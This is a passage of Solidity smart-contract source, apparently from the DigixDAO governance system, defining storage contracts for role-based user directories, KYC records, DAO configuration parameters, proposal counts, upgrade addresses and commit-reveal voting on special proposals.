function read_previous_from_uints(DoublyLinkedList.Uint storage _list, uint256 _current_item)
internal
constant
returns (uint256 _item)
{
_item = _list.previous_item(_current_item);
}
function read_total_uints(DoublyLinkedList.Uint storage _list)
internal
constant
returns (uint256 _count)
{
_count = _list.total();
}
}
contract DirectoryStorage is IndexedAddressIteratorStorage, UintIteratorStorage {
using DoublyLinkedList for DoublyLinkedList.IndexedAddress;
using DoublyLinkedList for DoublyLinkedList.Uint;
struct User {
bytes32 document;
bool active;
}
struct Group {
bytes32 name;
bytes32 document;
uint256 role_id;
mapping(address => User) members_by_address;
}
struct System {
DoublyLinkedList.Uint groups;
DoublyLinkedList.IndexedAddress groups_collection;
mapping (uint256 => Group) groups_by_id;
mapping (address => uint256) group_ids_by_address;
mapping (uint256 => bytes32) roles_by_id;
bool initialized;
uint256 total_groups;
}
System system;
function initialize_directory()
internal
returns (bool _success)
{
require(system.initialized == false);
system.total_groups = 0;
system.initialized = true;
internal_create_role(1, "root");
internal_create_group(1, "root", "");
_success = internal_update_add_user_to_group(1, tx.origin, "");
}
function internal_create_role(uint256 _role_id, bytes32 _name)
internal
returns (bool _success)
{
require(_role_id > 0);
require(_name != bytes32(0x0));
system.roles_by_id[_role_id] = _name;
_success = true;
}
function read_role(uint256 _role_id)
public
constant
returns (bytes32 _name)
{
_name = system.roles_by_id[_role_id];
}
function internal_create_group(uint256 _role_id, bytes32 _name, bytes32 _document)
internal
returns (bool _success, uint256 _group_id)
{
require(_role_id > 0);
require(read_role(_role_id) != bytes32(0x0));
_group_id = ++system.total_groups;
system.groups.append(_group_id);
system.groups_by_id[_group_id].role_id = _role_id;
system.groups_by_id[_group_id].name = _name;
system.groups_by_id[_group_id].document = _document;
_success = true;
}
function read_group(uint256 _group_id)
public
constant
returns (uint256 _role_id, bytes32 _name, bytes32 _document, uint256 _members_count)
{
if (system.groups.valid_item(_group_id)) {
_role_id = system.groups_by_id[_group_id].role_id;
_name = system.groups_by_id[_group_id].name;
_document = system.groups_by_id[_group_id].document;
_members_count = read_total_indexed_addresses(system.groups_collection, bytes32(_group_id));
} else {
_role_id = 0;
_name = "invalid";
_document = "";
_members_count = 0;
}
}
function internal_update_add_user_to_group(uint256 _group_id, address _user, bytes32 _document)
internal
returns (bool _success)
{
if (system.groups_by_id[_group_id].members_by_address[_user].active == false && system.group_ids_by_address[_user] == 0 && system.groups_by_id[_group_id].role_id != 0) {
system.groups_by_id[_group_id].members_by_address[_user].active = true;
system.group_ids_by_address[_user] = _group_id;
system.groups_collection.append(bytes32(_group_id), _user);
system.groups_by_id[_group_id].members_by_address[_user].document = _document;
_success = true;
} else {
_success = false;
}
}
function internal_destroy_group_user(address _user)
internal
returns (bool _success)
{
uint256 _group_id = system.group_ids_by_address[_user];
if ((_group_id == 1) && (system.groups_collection.total(bytes32(_group_id)) == 1)) {
_success = false;
} else {
system.groups_by_id[_group_id].members_by_address[_user].active = false;
system.group_ids_by_address[_user] = 0;
delete system.groups_by_id[_group_id].members_by_address[_user];
_success = system.groups_collection.remove_item(bytes32(_group_id), _user);
}
}
function read_user_role_id(address _user)
constant
public
returns (uint256 _role_id)
{
uint256 _group_id = system.group_ids_by_address[_user];
_role_id = system.groups_by_id[_group_id].role_id;
}
function read_user(address _user)
public
constant
returns (uint256 _group_id, uint256 _role_id, bytes32 _document)
{
_group_id = system.group_ids_by_address[_user];
_role_id = system.groups_by_id[_group_id].role_id;
_document = system.groups_by_id[_group_id].members_by_address[_user].document;
}
function read_first_group()
view
external
returns (uint256 _group_id)
{
_group_id = read_first_from_uints(system.groups);
}
function read_last_group()
view
external
returns (uint256 _group_id)
{
_group_id = read_last_from_uints(system.groups);
}
function read_previous_group_from_group(uint256 _current_group_id)
view
external
returns (uint256 _group_id)
{
_group_id = read_previous_from_uints(system.groups, _current_group_id);
}
function read_next_group_from_group(uint256 _current_group_id)
view
external
returns (uint256 _group_id)
{
_group_id = read_next_from_uints(system.groups, _current_group_id);
}
function read_total_groups()
view
external
returns (uint256 _total_groups)
{
_total_groups = read_total_uints(system.groups);
}
function read_first_user_in_group(bytes32 _group_id)
view
external
returns (address _user)
{
_user = read_first_from_indexed_addresses(system.groups_collection, bytes32(_group_id));
}
function read_last_user_in_group(bytes32 _group_id)
view
external
returns (address _user)
{
_user = read_last_from_indexed_addresses(system.groups_collection, bytes32(_group_id));
}
function read_next_user_in_group(bytes32 _group_id, address _current_user)
view
external
returns (address _user)
{
_user = read_next_from_indexed_addresses(system.groups_collection, bytes32(_group_id), _current_user);
}
function read_previous_user_in_group(bytes32 _group_id, address _current_user)
view
external
returns (address _user)
{
_user = read_previous_from_indexed_addresses(system.groups_collection, bytes32(_group_id), _current_user);
}
function read_total_users_in_group(bytes32 _group_id)
view
external
returns (uint256 _total_users)
{
_total_users = read_total_indexed_addresses(system.groups_collection, bytes32(_group_id));
}
}
contract DaoIdentityStorage is ResolverClient, DaoConstants, DirectoryStorage {
struct KycDetails {
bytes32 doc;
uint256 id_expiration;
}
mapping (address => KycDetails) kycInfo;
constructor(address _resolver)
public
{
require(init(CONTRACT_STORAGE_DAO_IDENTITY, _resolver));
require(initialize_directory());
}
function create_group(uint256 _role_id, bytes32 _name, bytes32 _document)
public
returns (bool _success, uint256 _group_id)
{
require(sender_is(CONTRACT_DAO_IDENTITY));
(_success, _group_id) = internal_create_group(_role_id, _name, _document);
require(_success);
}
function create_role(uint256 _role_id, bytes32 _name)
public
returns (bool _success)
{
require(sender_is(CONTRACT_DAO_IDENTITY));
_success = internal_create_role(_role_id, _name);
require(_success);
}
function update_add_user_to_group(uint256 _group_id, address _user, bytes32 _document)
public
returns (bool _success)
{
require(sender_is(CONTRACT_DAO_IDENTITY));
_success = internal_update_add_user_to_group(_group_id, _user, _document);
require(_success);
}
function update_remove_group_user(address _user)
public
returns (bool _success)
{
require(sender_is(CONTRACT_DAO_IDENTITY));
_success = internal_destroy_group_user(_user);
require(_success);
}
function update_kyc(address _user, bytes32 _doc, uint256 _id_expiration)
public
{
require(sender_is(CONTRACT_DAO_IDENTITY));
kycInfo[_user].doc = _doc;
kycInfo[_user].id_expiration = _id_expiration;
}
function read_kyc_info(address _user)
public
view
returns (bytes32 _doc, uint256 _id_expiration)
{
_doc = kycInfo[_user].doc;
_id_expiration = kycInfo[_user].id_expiration;
}
function is_kyc_approved(address _user)
public
view
returns (bool _approved)
{
uint256 _id_expiration;
(,_id_expiration) = read_kyc_info(_user);
_approved = _id_expiration > now;
}
}
contract IdentityCommon is DaoWhitelistingCommon {
modifier if_root() {
require(identity_storage().read_user_role_id(msg.sender) == ROLES_ROOT);
_;
}
modifier if_founder() {
require(is_founder());
_;
}
function is_founder()
internal
view
returns (bool _isFounder)
{
_isFounder = identity_storage().read_user_role_id(msg.sender) == ROLES_FOUNDERS;
}
modifier if_prl() {
require(identity_storage().read_user_role_id(msg.sender) == ROLES_PRLS);
_;
}
modifier if_kyc_admin() {
require(identity_storage().read_user_role_id(msg.sender) == ROLES_KYC_ADMINS);
_;
}
function identity_storage()
internal
view
returns (DaoIdentityStorage _contract)
{
_contract = DaoIdentityStorage(get_contract(CONTRACT_STORAGE_DAO_IDENTITY));
}
}
contract DaoConfigsStorage is ResolverClient, DaoConstants {
mapping (bytes32 => uint256) public uintConfigs;
mapping (bytes32 => address) public addressConfigs;
mapping (bytes32 => bytes32) public bytesConfigs;
uint256 ONE_BILLION = 1000000000;
uint256 ONE_MILLION = 1000000;
constructor(address _resolver)
public
{
require(init(CONTRACT_STORAGE_DAO_CONFIG, _resolver));
uintConfigs[CONFIG_LOCKING_PHASE_DURATION] = 10 days;
uintConfigs[CONFIG_QUARTER_DURATION] = QUARTER_DURATION;
uintConfigs[CONFIG_VOTING_COMMIT_PHASE] = 14 days;
uintConfigs[CONFIG_VOTING_PHASE_TOTAL] = 21 days;
uintConfigs[CONFIG_INTERIM_COMMIT_PHASE] = 7 days;
uintConfigs[CONFIG_INTERIM_PHASE_TOTAL] = 14 days;
uintConfigs[CONFIG_DRAFT_QUORUM_FIXED_PORTION_NUMERATOR] = 5;
uintConfigs[CONFIG_DRAFT_QUORUM_FIXED_PORTION_DENOMINATOR] = 100;
uintConfigs[CONFIG_DRAFT_QUORUM_SCALING_FACTOR_NUMERATOR] = 35;
uintConfigs[CONFIG_DRAFT_QUORUM_SCALING_FACTOR_DENOMINATOR] = 100;
uintConfigs[CONFIG_VOTING_QUORUM_FIXED_PORTION_NUMERATOR] = 5;
uintConfigs[CONFIG_VOTING_QUORUM_FIXED_PORTION_DENOMINATOR] = 100;
uintConfigs[CONFIG_VOTING_QUORUM_SCALING_FACTOR_NUMERATOR] = 25;
uintConfigs[CONFIG_VOTING_QUORUM_SCALING_FACTOR_DENOMINATOR] = 100;
uintConfigs[CONFIG_DRAFT_QUOTA_NUMERATOR] = 1;
uintConfigs[CONFIG_DRAFT_QUOTA_DENOMINATOR] = 2;
uintConfigs[CONFIG_VOTING_QUOTA_NUMERATOR] = 1;
uintConfigs[CONFIG_VOTING_QUOTA_DENOMINATOR] = 2;
uintConfigs[CONFIG_QUARTER_POINT_DRAFT_VOTE] = ONE_BILLION;
uintConfigs[CONFIG_QUARTER_POINT_VOTE] = ONE_BILLION;
uintConfigs[CONFIG_QUARTER_POINT_INTERIM_VOTE] = ONE_BILLION;
uintConfigs[CONFIG_QUARTER_POINT_MILESTONE_COMPLETION_PER_10000ETH] = 20000 * ONE_BILLION;
uintConfigs[CONFIG_BONUS_REPUTATION_NUMERATOR] = 15;
uintConfigs[CONFIG_BONUS_REPUTATION_DENOMINATOR] = 100;
uintConfigs[CONFIG_SPECIAL_PROPOSAL_COMMIT_PHASE] = 28 days;
uintConfigs[CONFIG_SPECIAL_PROPOSAL_PHASE_TOTAL] = 35 days;
uintConfigs[CONFIG_SPECIAL_QUOTA_NUMERATOR] = 1;
uintConfigs[CONFIG_SPECIAL_QUOTA_DENOMINATOR] = 2;
uintConfigs[CONFIG_SPECIAL_PROPOSAL_QUORUM_NUMERATOR] = 40;
uintConfigs[CONFIG_SPECIAL_PROPOSAL_QUORUM_DENOMINATOR] = 100;
uintConfigs[CONFIG_MAXIMUM_REPUTATION_DEDUCTION] = 8334 * ONE_MILLION;
uintConfigs[CONFIG_PUNISHMENT_FOR_NOT_LOCKING] = 1666 * ONE_MILLION;
uintConfigs[CONFIG_REPUTATION_PER_EXTRA_QP_NUM] = 1;
uintConfigs[CONFIG_REPUTATION_PER_EXTRA_QP_DEN] = 1;
uintConfigs[CONFIG_MINIMAL_QUARTER_POINT] = 2 * ONE_BILLION;
uintConfigs[CONFIG_QUARTER_POINT_SCALING_FACTOR] = 400 * ONE_BILLION;
uintConfigs[CONFIG_REPUTATION_POINT_SCALING_FACTOR] = 2000 * ONE_BILLION;
uintConfigs[CONFIG_MODERATOR_MINIMAL_QUARTER_POINT] = 4 * ONE_BILLION;
uintConfigs[CONFIG_MODERATOR_QUARTER_POINT_SCALING_FACTOR] = 400 * ONE_BILLION;
uintConfigs[CONFIG_MODERATOR_REPUTATION_POINT_SCALING_FACTOR] = 2000 * ONE_BILLION;
uintConfigs[CONFIG_PORTION_TO_MODERATORS_NUM] = 42;
uintConfigs[CONFIG_PORTION_TO_MODERATORS_DEN] = 1000;
uintConfigs[CONFIG_DRAFT_VOTING_PHASE] = 7 days;
uintConfigs[CONFIG_REPUTATION_POINT_BOOST_FOR_BADGE] = 412500 * ONE_MILLION;
uintConfigs[CONFIG_FINAL_REWARD_SCALING_FACTOR_NUMERATOR] = 7;
uintConfigs[CONFIG_FINAL_REWARD_SCALING_FACTOR_DENOMINATOR] = 100;
uintConfigs[CONFIG_MAXIMUM_MODERATOR_REPUTATION_DEDUCTION] = 12500 * ONE_MILLION;
uintConfigs[CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_NUM] = 1;
uintConfigs[CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_DEN] = 1;
uintConfigs[CONFIG_VOTE_CLAIMING_DEADLINE] = 10 days;
uintConfigs[CONFIG_MINIMUM_LOCKED_DGD] = 10 * ONE_BILLION;
uintConfigs[CONFIG_MINIMUM_DGD_FOR_MODERATOR] = 842 * ONE_BILLION;
uintConfigs[CONFIG_MINIMUM_REPUTATION_FOR_MODERATOR] = 400 * ONE_BILLION;
uintConfigs[CONFIG_PREPROPOSAL_COLLATERAL] = 2 ether;
uintConfigs[CONFIG_MAX_FUNDING_FOR_NON_DIGIX] = 100 ether;
uintConfigs[CONFIG_MAX_MILESTONES_FOR_NON_DIGIX] = 5;
uintConfigs[CONFIG_NON_DIGIX_PROPOSAL_CAP_PER_QUARTER] = 80;
uintConfigs[CONFIG_PROPOSAL_DEAD_DURATION] = 90 days;
uintConfigs[CONFIG_CARBON_VOTE_REPUTATION_BONUS] = 10 * ONE_BILLION;
}
function updateUintConfigs(uint256[] _uintConfigs)
external
{
require(sender_is(CONTRACT_DAO_SPECIAL_VOTING_CLAIMS));
uintConfigs[CONFIG_LOCKING_PHASE_DURATION] = _uintConfigs[0];
uintConfigs[CONFIG_VOTING_COMMIT_PHASE] = _uintConfigs[2];
uintConfigs[CONFIG_VOTING_PHASE_TOTAL] = _uintConfigs[3];
uintConfigs[CONFIG_INTERIM_COMMIT_PHASE] = _uintConfigs[4];
uintConfigs[CONFIG_INTERIM_PHASE_TOTAL] = _uintConfigs[5];
uintConfigs[CONFIG_DRAFT_QUORUM_FIXED_PORTION_NUMERATOR] = _uintConfigs[6];
uintConfigs[CONFIG_DRAFT_QUORUM_FIXED_PORTION_DENOMINATOR] = _uintConfigs[7];
uintConfigs[CONFIG_DRAFT_QUORUM_SCALING_FACTOR_NUMERATOR] = _uintConfigs[8];
uintConfigs[CONFIG_DRAFT_QUORUM_SCALING_FACTOR_DENOMINATOR] = _uintConfigs[9];
uintConfigs[CONFIG_VOTING_QUORUM_FIXED_PORTION_NUMERATOR] = _uintConfigs[10];
uintConfigs[CONFIG_VOTING_QUORUM_FIXED_PORTION_DENOMINATOR] = _uintConfigs[11];
uintConfigs[CONFIG_VOTING_QUORUM_SCALING_FACTOR_NUMERATOR] = _uintConfigs[12];
uintConfigs[CONFIG_VOTING_QUORUM_SCALING_FACTOR_DENOMINATOR] = _uintConfigs[13];
uintConfigs[CONFIG_DRAFT_QUOTA_NUMERATOR] = _uintConfigs[14];
uintConfigs[CONFIG_DRAFT_QUOTA_DENOMINATOR] = _uintConfigs[15];
uintConfigs[CONFIG_VOTING_QUOTA_NUMERATOR] = _uintConfigs[16];
uintConfigs[CONFIG_VOTING_QUOTA_DENOMINATOR] = _uintConfigs[17];
uintConfigs[CONFIG_QUARTER_POINT_DRAFT_VOTE] = _uintConfigs[18];
uintConfigs[CONFIG_QUARTER_POINT_VOTE] = _uintConfigs[19];
uintConfigs[CONFIG_QUARTER_POINT_INTERIM_VOTE] = _uintConfigs[20];
uintConfigs[CONFIG_MINIMAL_QUARTER_POINT] = _uintConfigs[21];
uintConfigs[CONFIG_QUARTER_POINT_MILESTONE_COMPLETION_PER_10000ETH] = _uintConfigs[22];
uintConfigs[CONFIG_BONUS_REPUTATION_NUMERATOR] = _uintConfigs[23];
uintConfigs[CONFIG_BONUS_REPUTATION_DENOMINATOR] = _uintConfigs[24];
uintConfigs[CONFIG_SPECIAL_PROPOSAL_COMMIT_PHASE] = _uintConfigs[25];
uintConfigs[CONFIG_SPECIAL_PROPOSAL_PHASE_TOTAL] = _uintConfigs[26];
uintConfigs[CONFIG_SPECIAL_QUOTA_NUMERATOR] = _uintConfigs[27];
uintConfigs[CONFIG_SPECIAL_QUOTA_DENOMINATOR] = _uintConfigs[28];
uintConfigs[CONFIG_SPECIAL_PROPOSAL_QUORUM_NUMERATOR] = _uintConfigs[29];
uintConfigs[CONFIG_SPECIAL_PROPOSAL_QUORUM_DENOMINATOR] = _uintConfigs[30];
uintConfigs[CONFIG_MAXIMUM_REPUTATION_DEDUCTION] = _uintConfigs[31];
uintConfigs[CONFIG_PUNISHMENT_FOR_NOT_LOCKING] = _uintConfigs[32];
uintConfigs[CONFIG_REPUTATION_PER_EXTRA_QP_NUM] = _uintConfigs[33];
uintConfigs[CONFIG_REPUTATION_PER_EXTRA_QP_DEN] = _uintConfigs[34];
uintConfigs[CONFIG_QUARTER_POINT_SCALING_FACTOR] = _uintConfigs[35];
uintConfigs[CONFIG_REPUTATION_POINT_SCALING_FACTOR] = _uintConfigs[36];
uintConfigs[CONFIG_MODERATOR_MINIMAL_QUARTER_POINT] = _uintConfigs[37];
uintConfigs[CONFIG_MODERATOR_QUARTER_POINT_SCALING_FACTOR] = _uintConfigs[38];
uintConfigs[CONFIG_MODERATOR_REPUTATION_POINT_SCALING_FACTOR] = _uintConfigs[39];
uintConfigs[CONFIG_PORTION_TO_MODERATORS_NUM] = _uintConfigs[40];
uintConfigs[CONFIG_PORTION_TO_MODERATORS_DEN] = _uintConfigs[41];
uintConfigs[CONFIG_DRAFT_VOTING_PHASE] = _uintConfigs[42];
uintConfigs[CONFIG_REPUTATION_POINT_BOOST_FOR_BADGE] = _uintConfigs[43];
uintConfigs[CONFIG_FINAL_REWARD_SCALING_FACTOR_NUMERATOR] = _uintConfigs[44];
uintConfigs[CONFIG_FINAL_REWARD_SCALING_FACTOR_DENOMINATOR] = _uintConfigs[45];
uintConfigs[CONFIG_MAXIMUM_MODERATOR_REPUTATION_DEDUCTION] = _uintConfigs[46];
uintConfigs[CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_NUM] = _uintConfigs[47];
uintConfigs[CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_DEN] = _uintConfigs[48];
uintConfigs[CONFIG_VOTE_CLAIMING_DEADLINE] = _uintConfigs[49];
uintConfigs[CONFIG_MINIMUM_LOCKED_DGD] = _uintConfigs[50];
uintConfigs[CONFIG_MINIMUM_DGD_FOR_MODERATOR] = _uintConfigs[51];
uintConfigs[CONFIG_MINIMUM_REPUTATION_FOR_MODERATOR] = _uintConfigs[52];
uintConfigs[CONFIG_PREPROPOSAL_COLLATERAL] = _uintConfigs[53];
uintConfigs[CONFIG_MAX_FUNDING_FOR_NON_DIGIX] = _uintConfigs[54];
uintConfigs[CONFIG_MAX_MILESTONES_FOR_NON_DIGIX] = _uintConfigs[55];
uintConfigs[CONFIG_NON_DIGIX_PROPOSAL_CAP_PER_QUARTER] = _uintConfigs[56];
uintConfigs[CONFIG_PROPOSAL_DEAD_DURATION] = _uintConfigs[57];
uintConfigs[CONFIG_CARBON_VOTE_REPUTATION_BONUS] = _uintConfigs[58];
}
function readUintConfigs()
public
view
returns (uint256[])
{
uint256[] memory _uintConfigs = new uint256[](59);
_uintConfigs[0] = uintConfigs[CONFIG_LOCKING_PHASE_DURATION];
_uintConfigs[1] = uintConfigs[CONFIG_QUARTER_DURATION];
_uintConfigs[2] = uintConfigs[CONFIG_VOTING_COMMIT_PHASE];
_uintConfigs[3] = uintConfigs[CONFIG_VOTING_PHASE_TOTAL];
_uintConfigs[4] = uintConfigs[CONFIG_INTERIM_COMMIT_PHASE];
_uintConfigs[5] = uintConfigs[CONFIG_INTERIM_PHASE_TOTAL];
_uintConfigs[6] = uintConfigs[CONFIG_DRAFT_QUORUM_FIXED_PORTION_NUMERATOR];
_uintConfigs[7] = uintConfigs[CONFIG_DRAFT_QUORUM_FIXED_PORTION_DENOMINATOR];
_uintConfigs[8] = uintConfigs[CONFIG_DRAFT_QUORUM_SCALING_FACTOR_NUMERATOR];
_uintConfigs[9] = uintConfigs[CONFIG_DRAFT_QUORUM_SCALING_FACTOR_DENOMINATOR];
_uintConfigs[10] = uintConfigs[CONFIG_VOTING_QUORUM_FIXED_PORTION_NUMERATOR];
_uintConfigs[11] = uintConfigs[CONFIG_VOTING_QUORUM_FIXED_PORTION_DENOMINATOR];
_uintConfigs[12] = uintConfigs[CONFIG_VOTING_QUORUM_SCALING_FACTOR_NUMERATOR];
_uintConfigs[13] = uintConfigs[CONFIG_VOTING_QUORUM_SCALING_FACTOR_DENOMINATOR];
_uintConfigs[14] = uintConfigs[CONFIG_DRAFT_QUOTA_NUMERATOR];
_uintConfigs[15] = uintConfigs[CONFIG_DRAFT_QUOTA_DENOMINATOR];
_uintConfigs[16] = uintConfigs[CONFIG_VOTING_QUOTA_NUMERATOR];
_uintConfigs[17] = uintConfigs[CONFIG_VOTING_QUOTA_DENOMINATOR];
_uintConfigs[18] = uintConfigs[CONFIG_QUARTER_POINT_DRAFT_VOTE];
_uintConfigs[19] = uintConfigs[CONFIG_QUARTER_POINT_VOTE];
_uintConfigs[20] = uintConfigs[CONFIG_QUARTER_POINT_INTERIM_VOTE];
_uintConfigs[21] = uintConfigs[CONFIG_MINIMAL_QUARTER_POINT];
_uintConfigs[22] = uintConfigs[CONFIG_QUARTER_POINT_MILESTONE_COMPLETION_PER_10000ETH];
_uintConfigs[23] = uintConfigs[CONFIG_BONUS_REPUTATION_NUMERATOR];
_uintConfigs[24] = uintConfigs[CONFIG_BONUS_REPUTATION_DENOMINATOR];
_uintConfigs[25] = uintConfigs[CONFIG_SPECIAL_PROPOSAL_COMMIT_PHASE];
_uintConfigs[26] = uintConfigs[CONFIG_SPECIAL_PROPOSAL_PHASE_TOTAL];
_uintConfigs[27] = uintConfigs[CONFIG_SPECIAL_QUOTA_NUMERATOR];
_uintConfigs[28] = uintConfigs[CONFIG_SPECIAL_QUOTA_DENOMINATOR];
_uintConfigs[29] = uintConfigs[CONFIG_SPECIAL_PROPOSAL_QUORUM_NUMERATOR];
_uintConfigs[30] = uintConfigs[CONFIG_SPECIAL_PROPOSAL_QUORUM_DENOMINATOR];
_uintConfigs[31] = uintConfigs[CONFIG_MAXIMUM_REPUTATION_DEDUCTION];
_uintConfigs[32] = uintConfigs[CONFIG_PUNISHMENT_FOR_NOT_LOCKING];
_uintConfigs[33] = uintConfigs[CONFIG_REPUTATION_PER_EXTRA_QP_NUM];
_uintConfigs[34] = uintConfigs[CONFIG_REPUTATION_PER_EXTRA_QP_DEN];
_uintConfigs[35] = uintConfigs[CONFIG_QUARTER_POINT_SCALING_FACTOR];
_uintConfigs[36] = uintConfigs[CONFIG_REPUTATION_POINT_SCALING_FACTOR];
_uintConfigs[37] = uintConfigs[CONFIG_MODERATOR_MINIMAL_QUARTER_POINT];
_uintConfigs[38] = uintConfigs[CONFIG_MODERATOR_QUARTER_POINT_SCALING_FACTOR];
_uintConfigs[39] = uintConfigs[CONFIG_MODERATOR_REPUTATION_POINT_SCALING_FACTOR];
_uintConfigs[40] = uintConfigs[CONFIG_PORTION_TO_MODERATORS_NUM];
_uintConfigs[41] = uintConfigs[CONFIG_PORTION_TO_MODERATORS_DEN];
_uintConfigs[42] = uintConfigs[CONFIG_DRAFT_VOTING_PHASE];
_uintConfigs[43] = uintConfigs[CONFIG_REPUTATION_POINT_BOOST_FOR_BADGE];
_uintConfigs[44] = uintConfigs[CONFIG_FINAL_REWARD_SCALING_FACTOR_NUMERATOR];
_uintConfigs[45] = uintConfigs[CONFIG_FINAL_REWARD_SCALING_FACTOR_DENOMINATOR];
_uintConfigs[46] = uintConfigs[CONFIG_MAXIMUM_MODERATOR_REPUTATION_DEDUCTION];
_uintConfigs[47] = uintConfigs[CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_NUM];
_uintConfigs[48] = uintConfigs[CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_DEN];
_uintConfigs[49] = uintConfigs[CONFIG_VOTE_CLAIMING_DEADLINE];
_uintConfigs[50] = uintConfigs[CONFIG_MINIMUM_LOCKED_DGD];
_uintConfigs[51] = uintConfigs[CONFIG_MINIMUM_DGD_FOR_MODERATOR];
_uintConfigs[52] = uintConfigs[CONFIG_MINIMUM_REPUTATION_FOR_MODERATOR];
_uintConfigs[53] = uintConfigs[CONFIG_PREPROPOSAL_COLLATERAL];
_uintConfigs[54] = uintConfigs[CONFIG_MAX_FUNDING_FOR_NON_DIGIX];
_uintConfigs[55] = uintConfigs[CONFIG_MAX_MILESTONES_FOR_NON_DIGIX];
_uintConfigs[56] = uintConfigs[CONFIG_NON_DIGIX_PROPOSAL_CAP_PER_QUARTER];
_uintConfigs[57] = uintConfigs[CONFIG_PROPOSAL_DEAD_DURATION];
_uintConfigs[58] = uintConfigs[CONFIG_CARBON_VOTE_REPUTATION_BONUS];
return _uintConfigs;
}
}
contract DaoProposalCounterStorage is ResolverClient, DaoConstants {
constructor(address _resolver) public {
require(init(CONTRACT_STORAGE_DAO_COUNTER, _resolver));
}
mapping (uint256 => uint256) public proposalCountByQuarter;
function addNonDigixProposalCountInQuarter(uint256 _quarterNumber)
public
{
require(sender_is(CONTRACT_DAO_VOTING_CLAIMS));
proposalCountByQuarter[_quarterNumber] = proposalCountByQuarter[_quarterNumber].add(1);
}
}
contract DaoUpgradeStorage is ResolverClient, DaoConstants {
uint256 public startOfFirstQuarter;
bool public isReplacedByNewDao;
address public newDaoContract;
address public newDaoFundingManager;
address public newDaoRewardsManager;
constructor(address _resolver) public {
require(init(CONTRACT_STORAGE_DAO_UPGRADE, _resolver));
}
function setStartOfFirstQuarter(uint256 _start)
public
{
require(sender_is(CONTRACT_DAO));
startOfFirstQuarter = _start;
}
function setNewContractAddresses(
address _newDaoContract,
address _newDaoFundingManager,
address _newDaoRewardsManager
)
public
{
require(sender_is(CONTRACT_DAO));
newDaoContract = _newDaoContract;
newDaoFundingManager = _newDaoFundingManager;
newDaoRewardsManager = _newDaoRewardsManager;
}
function updateForDaoMigration()
public
{
require(sender_is(CONTRACT_DAO));
isReplacedByNewDao = true;
}
}
contract DaoSpecialStorage is DaoWhitelistingCommon {
using DoublyLinkedList for DoublyLinkedList.Bytes;
using DaoStructs for DaoStructs.SpecialProposal;
using DaoStructs for DaoStructs.Voting;
DoublyLinkedList.Bytes proposals;
mapping (bytes32 => DaoStructs.SpecialProposal) proposalsById;
constructor(address _resolver) public {
require(init(CONTRACT_STORAGE_DAO_SPECIAL, _resolver));
}
function addSpecialProposal(
bytes32 _proposalId,
address _proposer,
uint256[] _uintConfigs,
address[] _addressConfigs,
bytes32[] _bytesConfigs
)
public
{
require(sender_is(CONTRACT_DAO_SPECIAL_PROPOSAL));
require(
(proposalsById[_proposalId].proposalId == EMPTY_BYTES) &&
(_proposalId != EMPTY_BYTES)
);
proposals.append(_proposalId);
proposalsById[_proposalId].proposalId = _proposalId;
proposalsById[_proposalId].proposer = _proposer;
proposalsById[_proposalId].timeCreated = now;
proposalsById[_proposalId].uintConfigs = _uintConfigs;
proposalsById[_proposalId].addressConfigs = _addressConfigs;
proposalsById[_proposalId].bytesConfigs = _bytesConfigs;
}
function readProposal(bytes32 _proposalId)
public
view
returns (
bytes32 _id,
address _proposer,
uint256 _timeCreated,
uint256 _timeVotingStarted
)
{
_id = proposalsById[_proposalId].proposalId;
_proposer = proposalsById[_proposalId].proposer;
_timeCreated = proposalsById[_proposalId].timeCreated;
_timeVotingStarted = proposalsById[_proposalId].voting.startTime;
}
function readProposalProposer(bytes32 _proposalId)
public
view
returns (address _proposer)
{
_proposer = proposalsById[_proposalId].proposer;
}
function readConfigs(bytes32 _proposalId)
public
view
returns (
uint256[] memory _uintConfigs,
address[] memory _addressConfigs,
bytes32[] memory _bytesConfigs
)
{
_uintConfigs = proposalsById[_proposalId].uintConfigs;
_addressConfigs = proposalsById[_proposalId].addressConfigs;
_bytesConfigs = proposalsById[_proposalId].bytesConfigs;
}
function readVotingCount(bytes32 _proposalId, address[] _allUsers)
external
view
returns (uint256 _for, uint256 _against)
{
require(senderIsAllowedToRead());
return proposalsById[_proposalId].voting.countVotes(_allUsers);
}
function readVotingTime(bytes32 _proposalId)
public
view
returns (uint256 _start)
{
require(senderIsAllowedToRead());
_start = proposalsById[_proposalId].voting.startTime;
}
function commitVote(
bytes32 _proposalId,
bytes32 _hash,
address _voter
)
public
{
require(sender_is(CONTRACT_DAO_VOTING));
proposalsById[_proposalId].voting.commits[_voter] = _hash;
}
function readComittedVote(bytes32 _proposalId, address _voter)
public
view
returns (bytes32 _commitHash)
{
require(senderIsAllowedToRead());
_commitHash = proposalsById[_proposalId].voting.commits[_voter];
}
function setVotingTime(bytes32 _proposalId, uint256 _time)
public
{
require(sender_is(CONTRACT_DAO_SPECIAL_PROPOSAL));
proposalsById[_proposalId].voting.startTime = _time;
}
function readVotingResult(bytes32 _proposalId)
public
view
returns (bool _result)
{
require(senderIsAllowedToRead());
_result = proposalsById[_proposalId].voting.passed;
}
function setPass(bytes32 _proposalId, bool _result)
public
{
require(sender_is(CONTRACT_DAO_SPECIAL_VOTING_CLAIMS));
proposalsById[_proposalId].voting.passed = _result;
}
function setVotingClaim(bytes32 _proposalId, bool _claimed)
public
{
require(sender_is(CONTRACT_DAO_SPECIAL_VOTING_CLAIMS));
DaoStructs.SpecialProposal storage _proposal = proposalsById[_proposalId];
_proposal.voting.claimed = _claimed;
}
function isClaimed(bytes32 _proposalId)
public
view
returns (bool _claimed)
{
require(senderIsAllowedToRead());
_claimed = proposalsById[_proposalId].voting.claimed;
}
function readVote(bytes32 _proposalId, address _voter)
public
view
returns (bool _vote, uint256 _weight)
{
require(senderIsAllowedToRead());
return proposalsById[_proposalId].voting.readVote(_voter);
}
function revealVote(
bytes32 _proposalId,
address _voter,
bool _vote,
uint256 _weight
)
public
{
require(sender_is(CONTRACT_DAO_VOTING));
proposalsById[_proposalId].voting.revealVote(_voter, _vote, _weight);
}
}
contract DaoPointsStorage is ResolverClient, DaoConstants {
struct Token {
uint256 totalSupply;
mapping (address => uint256) balance;
}
Token reputationPoint;
mapping (uint256 => Token) quarterPoint;
mapping (uint256 => Token) quarterModeratorPoint;
constructor(address _resolver)
public
{
require(init(CONTRACT_STORAGE_DAO_POINTS, _resolver));
}
